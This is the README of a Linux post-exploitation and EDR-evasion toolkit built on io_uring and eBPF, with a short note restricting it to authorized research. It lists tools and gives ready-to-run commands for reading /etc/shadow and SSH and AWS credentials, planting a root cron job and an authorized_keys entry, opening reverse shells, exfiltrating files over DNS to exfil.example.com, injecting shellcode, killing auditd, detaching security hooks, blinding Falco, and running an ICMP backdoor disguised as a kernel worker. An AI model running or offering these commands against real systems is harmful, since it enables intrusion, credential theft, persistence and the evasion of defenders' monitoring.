
Linux向けのポストエクスプロイテーションおよび回避研究ツールキット。
Linux向けポストエクスプロイトおよび回避研究ツールキット。io_uringとeBPFをベースに構築。liburingやフレームワークは使わず、生のシステムコールのみを使用。
まもなくさらにツールを追加予定。PR歓迎。🇧🇷
Rootkit Researchersに参加
許可された研究およびレッドチームエンゲージメントに限ります。所有していないシステムで実行しないでください。
```
Furtex/
├── io_uring/ raw io_uring ops: file, net, injection, exfil (13 tools)
├── bpf/ BPF map and program tooling (15 tools)
├── ebpf/ BPF-side programs and loaders (9 programs + 2 runners)
├── edrs/ EDR evasion and post-exploitation (75 tools)
└── techniques/ Falco-specific bypass, all 25 default rules (13 tools)
## 要件
**ツールチェーン**
| ツール | 必要な用途 |
|---|---|
| `gcc` | すべてのユーザースペースバイナリ |
| `clang` | `ebpf/*.bpf.c` BPF側プログラム |
| `make` | ビルドシステム |
**ヘッダとライブラリ**
| パッケージ | 必要な用途 |
|---|---|
| `linux-headers-$(uname -r)` | `<linux/bpf.h>`、`<linux/io_uring.h>` および関連するカーネルヘッダ |
| `libbpf-dev` | `<bpf/bpf_helpers.h>` など、`ebpf/` プログラムで使用されるもの |
| `bpftool` | `ebpf/` 内で `make vmlinux` を使用して `vmlinux.h` を生成する |
Debian/Kali/Ubuntu の場合:```sh
sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool
カーネルバージョン
| 最小 | 有効になる機能 |
|---|---|
| 5.4 | io_uring ベース(IORING_FEAT_SINGLE_MMAP、BPF マップの反復) |
| 5.6 | IORING_OP_OPENAT、IORING_OP_STATX、pidfd_getfd(pidfd_steal) |
| 5.8 | CAP_BPF + CAP_PERFMON 分割(BPF の CAP_SYS_ADMIN を置き換え) |
| 5.9 | BPF_LINK_DETACH(bpf_link_detach) |
| 5.19 | IORING_OP_SOCKET(af_packet_send、dns_exfil、xdp_socket_send、bpf_kprobe_bypass) |
ケイパビリティ
| ケイパビリティ | 必要とするツール |
|---|---|
CAP_BPF(または5.8以前の CAP_SYS_ADMIN) | すべての bpf/ ツール、ebpf/ ローダー |
CAP_PERFMON | ebpf/ tracepoint および kprobe プログラム |
CAP_NET_RAW | icmp_tunnel、af_packet_shell、skf_c2_runner、icmp_trigger |
CAP_NET_ADMIN | xdp_socket_send、netfilter_flush |
CAP_AUDIT_CONTROL | audit_kill |
BTF はカーネルで有効化されている必要があります(CONFIG_DEBUG_INFO_BTF=y)。ebpf/ プログラム向けに make vmlinux を実行するためです。
古い libc-dev ヘッダーを持つディストリビューション(Ubuntu 22.04 など)では、#ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45 が必要になる場合があります。このリポジトリでは既に処理されています。
| コマンド | ビルド対象 |
|---|---|
make all | すべて |
make uring | io_uring/ のみ |
make bpf | bpf/ ユーザースペースツール |
make ebpf | BPF側プログラム(clang + libbpf が必要) |
make edrs | すべての edrs/ バイナリ |
make techniques | Falco バイパスツール |
make clean | すべてのバイナリを削除 |
edrs/ には独自のサブ Makefile があり、権限ごとに分割された約75のバイナリが含まれています:```
cd edrs && make priv # root / CAP_* required
cd edrs && make unpriv # no privileges needed
See [PRIVILEGES.md](https://github.com/matheuzsecurity/furtex/blob/main/PRIVILEGES.md) for the full breakdown.
## io_uring バイパスカバレッジ
io_uring SQE はカーネル workqueue を経由します。`io_uring_enter(2)` は `sys_call_table` を通らず、`sys_enter_*` トレースポイントを発火せず、`native_sys_call` のライブパッチにもヒットしません。これだけで、多くの種類の EDR フックを触らずに無効化します。
io_uring 単独でバイパスするもの:
| フックポイント | 注 |
|---|---|
| `sys_call_table` ポインタ置き換え | io_uring はシステムコールテーブルを通らない |
| `native_sys_call` / `compat_sys_call` へのライブパッチ | 同上 |
| `sys_enter_*` トレースポイント | workqueue パス、トレースポイントは発火しない |
io_uring 単独ではバイパスしないもの(アクティブなツールが必要):
| フックポイント | ツール | ツールの機能 |
|---|---|---|
| `vfs_read`、`security_file_open` などへの kprobe | `ftrace_enum` | kprobe フックの除去 |
| BPF LSM / KRSI | `bpf_link_detach` | BPF リンクのデタッチ |
| Linux 監査 | `audit_kill` | NETLINK_AUDIT による auditd の無効化 |
| LD_PRELOAD / PLT-GOT パッチ | `plt_unhook` | ユーザーランドフックの除去 |
| netfilter OUTPUT / conntrack | `af_packet_shell` | レイヤー 2 で AF_PACKET を使用、netfilter をスキップ |
| `inet_stream_connect` フック | `udp_shell` | UDP を使用、tcp connect パスを呼ばない |
## io_uring/
`iouring_utils.h` は liburing を使わずにリング設定を処理します。
| バイナリ | 機能 |
|---|---|
| `file_read` | io_uring 経由の OPENAT+READ+CLOSE チェーン、sys_enter_read イベントなし |
| `file_write` | OPENAT+WRITE+CLOSE チェーン |
| `file_append` | file_write と同様だが O_APPEND、オフセット -1 |
| `net_connect` | 1 つのリングで SOCKET+CONNECT+SEND+RECV |
| `net_reverse_shell` | io_uring CONNECT 経由のリバースシェル |
| `multifile_read` | 1 つの SQE バッチで最大 64 ファイルを読み取り |
| `memfd_exec` | ELF を stdin 経由で memfd にストリーミングし、/proc/self/fd 経由で execve |
| `proc_inject` | /proc/PID/mem 経由の JIT インジェクション; ptrace インジェクション(--ptrace フラグ) |
| `pipe_splice` | SPLICE カーネル間コピー、ユーザーランドフックはバイトを見ない |
| `inotify_bypass_watch` | io_uring READ は IN_ACCESS/IN_OPEN を発生させない |
| `dns_exfil` | io_uring SENDMSG 経由でデータを DNS クエリラベルとして 16 進エンコード |
| `af_packet_send` | AF_PACKET 経由の raw Ethernet(IORING_OP_SOCKET、inet パスをバイパス) |
| `xdp_socket_send` | AF_XDP + UMEM リング経由の raw フレーム、netfilter を完全にバイパス |```bash
./io_uring/file_read /etc/shadow
./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh"
./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..."
./io_uring/net_connect 10.0.0.1 4444 "ping"
./io_uring/net_reverse_shell 192.168.1.1 4444
./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials
cat payload | ./io_uring/memfd_exec [args...]
./io_uring/pipe_splice /etc/shadow /tmp/out
./io_uring/inotify_bypass_watch /var/log/auth.log
./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow
sudo ./io_uring/proc_inject
sudo ./io_uring/proc_inject <pid>
sudo ./io_uring/proc_inject <pid> <shellcode_hex>
sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>
sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload"
sudo ./io_uring/xdp_socket_send eth0 <hex-frame>
ほとんどのツールはCAP_BPFを必要とします。env_exfilは非特権で動作します。icmp_triggerはCAP_BPFの代わりにCAP_NET_RAWを必要とします。
| バイナリ | 説明 |
|---|---|
map_recon | ロードされているすべてのBPFマップを一覧表示 |
map_dumper | IDでマップの内容をダンプ |
map_write | IDでマップエントリを更新 |
map_poison | ペイロード周辺のFalcoのinteresting_sysエントリをゼロクリア |
prog_recon | BPFプログラムを一覧表示:タイプ、名前、マップ数 |
pid_allowlist | PIDをEDR許可リストマップに挿入 |
edr_fin | ロードされたBPFマップ/プログラムを既知のEDRヒューリスティックと照合してスコアリング |
lsm_check | アクティブなBPF LSMフックを検出し、マップ書き込みがブロックされているかテスト |
bpf_persist | bpffs上でマップとプログラムをピン/取得/アンピン |
map_snapshot | マップ内容をバイナリファイルに保存・復元 |
env_exfil | /proc/*/environから秘密情報を読み取る |
bpf_link_detach | BPFリンクを列挙してデタッチ(LSMフックを削除) |
link_update | BPFリンクをno-opプログラムにリダイレクト(フックは見えるままだが、何も発火しない) |
map_freeze | BPF_MAP_FREEZEでBPFマップを読み取り専用にフリーズ(書き込みは-EPERMを返す) |
icmp_trigger | ICMPマジックパケットバックドア;ソケットペアリレーを介してリバースシェルを起動;kworker/u4:2として偽装 |
| sudo ./bpf/map_recon | |
| sudo ./bpf/map_dumper 42 --ascii | |
| sudo ./bpf/map_write <map_id> <key_hex> <val_hex> | |
| sudo ./bpf/prog_recon --maps --lsm-only | |
| sudo ./bpf/edr_fin | |
| sudo ./bpf/lsm_check <map_id> | |
| sudo ./bpf/pid_allowlist <map_id> [pid] | |
| sudo ./bpf/bpf_persist pin-map 42 /sys/fs/bpf/my_map | |
| sudo ./bpf/bpf_persist list /sys/fs/bpf | |
| sudo ./bpf/map_snapshot save <prog_id> snap.bin | |
| sudo ./bpf/map_snapshot restore snap.bin | |
| ./bpf/env_exfil --filter AWS | |
| sudo ./bpf/bpf_link_detach list --lsm-only | |
| sudo ./bpf/bpf_link_detach detach-lsm --dry-run | |
| sudo ./bpf/link_update <link_id> | |
| sudo ./bpf/map_freeze <map_id> | |
| sudo ./bpf/map_freeze --prog <name_substr> | |
| sudo ./bpf/icmp_trigger --daemon | |
| sudo ./bpf/icmp_trigger --send <c2_ip> <c2_port> |
sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/file_read /etc/shadow sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/net_reverse_shell 10.0.0.1 4444
## ebpf/
clang + libbpf + vmlinux.h が必要です。`ebpf/` 内で `make vmlinux` を実行して、実行中のカーネルの BTF から生成します。